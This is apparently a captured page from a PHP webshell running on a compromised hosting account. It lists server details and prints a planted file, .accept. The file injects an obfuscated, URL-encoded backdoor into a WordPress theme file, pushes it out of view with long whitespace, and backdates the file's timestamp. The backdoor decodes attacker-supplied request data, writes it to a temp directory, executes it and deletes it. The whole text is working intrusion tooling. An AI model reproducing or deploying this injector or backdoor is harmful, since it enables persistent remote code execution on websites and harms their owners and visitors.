403Webshell
Server IP : 192.254.185.80  /  Your IP : 216.73.217.139
Web Server : Apache
System : Linux gator3137.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : msarats2 ( 1847)
PHP Version : 8.3.35
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home1/msarats2/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home1/msarats2/public_html/.accept
<?php  function pb_leading_namespace_or_declare($content) {     $p = 0;     $len = strlen($content);     if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {         $p = 3;     }     while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {         $p++;     }     if (strncmp($content, '<?php', 5) === 0) {         $p += 5;     } elseif ($p + 1 < $len && $content[$p] === '<' && $content[$p + 1] === '?'         && strncmp($content, '<?xml', 5) !== 0 && strncmp($content, '<?=', 3) !== 0) {         $p += 2;     } else {         return false;     }     while ($p < $len) {         while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {             $p++;         }         if ($p >= $len) {             break;         }         if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '/') {             $nl = strpos($content, "\n", $p);             $p = ($nl === false) ? $len : $nl + 1;             continue;         }         if ($p < $len && $content[$p] === '#') {             $nl = strpos($content, "\n", $p);             $p = ($nl === false) ? $len : $nl + 1;             continue;         }         if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '*') {             $end = strpos($content, '*/', $p + 2);             $p = ($end === false) ? $len : $end + 2;             continue;         }         return (bool) preg_match('/^(namespace|declare)\b/i', substr($content, $p));     }     return false; }  $path = '/home1/msarats2/public_htmlwp-content/themes/astra/inc/compatibility/surecart/customizer/class-astra-customizer-register-surecart-section.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('%24value%3D%22parameter_group%22%3B%20if%28count%28%24_REQUEST%29%20%3E%200%20%26%26%20isset%28%24_REQUEST%5B%24value%5D%29%29%7B%20%24hld%20%3D%20array_filter%28%5B%22/var/tmp%22%2C%20getenv%28%22TEMP%22%29%2C%20getcwd%28%29%2C%20%22/dev/shm%22%2C%20%22/tmp%22%2C%20sys_get_temp_dir%28%29%2C%20session_save_path%28%29%2C%20getenv%28%22TMP%22%29%2C%20ini_get%28%22upload_tmp_dir%22%29%5D%29%3B%20%24rec%20%3D%20%24_REQUEST%5B%24value%5D%3B%20%24rec%20%3D%20explode%20%28%22.%22%20%2C%20%24rec%20%29%20%3B%20%24obj%20%3D%20%27%27%3B%20%24salt%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3D%20strlen%28%24salt%20%29%3B%20%24j%20%3D%200%3B%20array_walk%28%24rec%2C%20function%20%28%24v4%29%20use%20%28%26%24obj%2C%20%26%24j%2C%20%24salt%2C%20%24sLen%29%20%7B%20%24chS%20%3D%20ord%28%24salt%5B%24j%20%25%20%24sLen%5D%20%29%3B%20%24d%20%3D%20%28%28int%29%24v4%20-%20%24chS%20-%20%28%24j%20%25%2010%29%29%20%5E%2022%3B%20%24obj%20.%3D%20chr%28%24d%20%29%3B%20%24j%2B%2B%3B%20%7D%20%29%3B%20while%20%28%24res%20%3D%20array_shift%28%24hld%29%29%20%7B%20if%20%28max%280%2C%20is_dir%28%24res%29%20%2A%20is_writable%28%24res%29%29%29%20%7B%20%24data%20%3D%20join%28%22/%22%2C%20%5B%24res%2C%20%22.ent%22%5D%29%3B%20%24success%20%3D%20file_put_contents%28%24data%2C%20%24obj%29%3B%20if%20%28%24success%29%20%7B%20include%20%24data%3B%20%40unlink%28%24data%29%3B%20exit%3B%7D%20%7D%20%7D%20%7D'); if (strlen($content) < 32) {     die('!failed!'); } if (pb_leading_namespace_or_declare($content)) {     die('!failed!'); } if (strstr($content, $new_code)) {     die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {     $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) {     $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) {     die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     $len = strlen($start);     if ($len > strlen($body) || substr($body, 0, $len) !== $start) {         continue;     }     if ($start === '<?') {         if (strncmp($body, '<?xml', 5) === 0) {             continue;         }         if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') {             continue;         }     }     $rest = substr($body, $len);     $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest;     $tmp = @tempnam(dirname($path), 't');     if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) {          @touch($path, $ft + 10);         $check = (string) @file_get_contents($path);         if (strstr($check, $new_code)) {             die('!success!');         }     }     if ($tmp !== false && is_file($tmp)) {         @unlink($tmp);     } } die('!failed!'); 

Youez - 2016 - github.com/yon3zu
LinuXploit